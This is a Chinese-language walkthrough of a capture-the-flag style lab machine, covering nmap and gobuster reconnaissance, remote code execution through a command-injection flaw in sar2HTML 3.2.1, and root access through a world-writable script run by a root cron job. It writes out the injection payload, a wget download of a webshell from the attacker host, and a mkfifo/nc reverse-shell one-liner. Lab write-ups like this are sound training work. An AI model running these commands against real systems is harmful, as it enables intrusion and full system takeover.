端口
nmap主机发现
nmap -sn 192.168.18.0/24
Nmap scan report for 192.168.18.1
Host is up (0.00020s latency).
1是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn 192.168.18.1 --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
PORT STATE SERVICE
80/tcp open http
发现开放1个端口
nmap -sT -sC -sV -O -p80 -oA nmap/scan 192.168.18.1详细端口扫描:
-sT:完整tcp连接
-sC:默认脚本扫描
-sV:服务版本探测
-O:系统信息探测
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
漏洞脚本扫描
nmap -script=vuln -oA nmap/vuln
| http-enum:
| /robots.txt: Robots file
|_ /phpinfo.php: Possible information file
发现敏感目录
立足点
网站信息收集
主界面就是ubuntu默认界面
robots.txt界面只有sar2HTML
phpinfo.php界面是phpinfo()信息,(有很多信息但是没有利用的地方)
目录扫描
gobuster dir -u http://192.168.18.1/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-small.txt -x php,html --add-slash
发现根目录没有其他内容
隐藏目录发现
将收集到的sar2HTML作为网站目录查看,发现web应用程序
sar2html Ver 3.2.1
漏洞探测
searchsploit sar2html 3.2
sar2html 3.2.1 - 'plot' Remote Code Execution | php/webapps/49344.py
Sar2HTML 3.2.1 - Remote Command Execution | php/webapps/47204.txt
发现远程代码执行漏洞
请求http://192.168.18.1/sar2HTML/index.php?plot=;id
那么http://192.168.18.1/sar2HTML/index.php?plot=;后面的id将被解析为shell命令执行,并且执行结果有回显如下图
漏洞利用
这里我用的是python的脚本49344.py
需要输入url:http://192.168.18.1/sar2HTML/
上传webshell
网上找一个webshell,这里我找的php的webshell,文件命名为shell.php,记得将webshell的ip和port配置为攻击机器
上传webshell
攻击机器:python3 -m http.server
目标机器:wget http://192.168.18.47:8000/shell.php
利用webshell
攻击机器:nc -nvlp 449
目标机器:php shell.php
获取立足点用户:www-data
提权
配置错误提权
尝试sudo -l,发现没有权限
尝试find -perm -u=s -type f 2>/dev/null
查询suid有s位的文件,在gtfobins查询,发现没有可利用的点
尝试计划任务
cat /etc/crontab
发现有root 权限运行的finally.sh文件
*/5 * * * * root cd /var/www/html/ && sudo ./finally.sh
计划任务提权
看一下finally.sh内容,发现其运行了write.sh的脚本
finally.sh内容:
#!/bin/sh
./write.sh
看一下脚本权限
-rwxr-xr-x 1 root root 22 Oct 20 2019 finally.sh
-rwxrwxrwx 1 www-data www-data 100 Sep 8 12:02 write.sh
发现我们对write.sh有绝对控制权
直接修改write.sh成以下内容,提权成功:
#!/bin/sh
rm /tmp/f
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.18.47 4444 > /tmp/f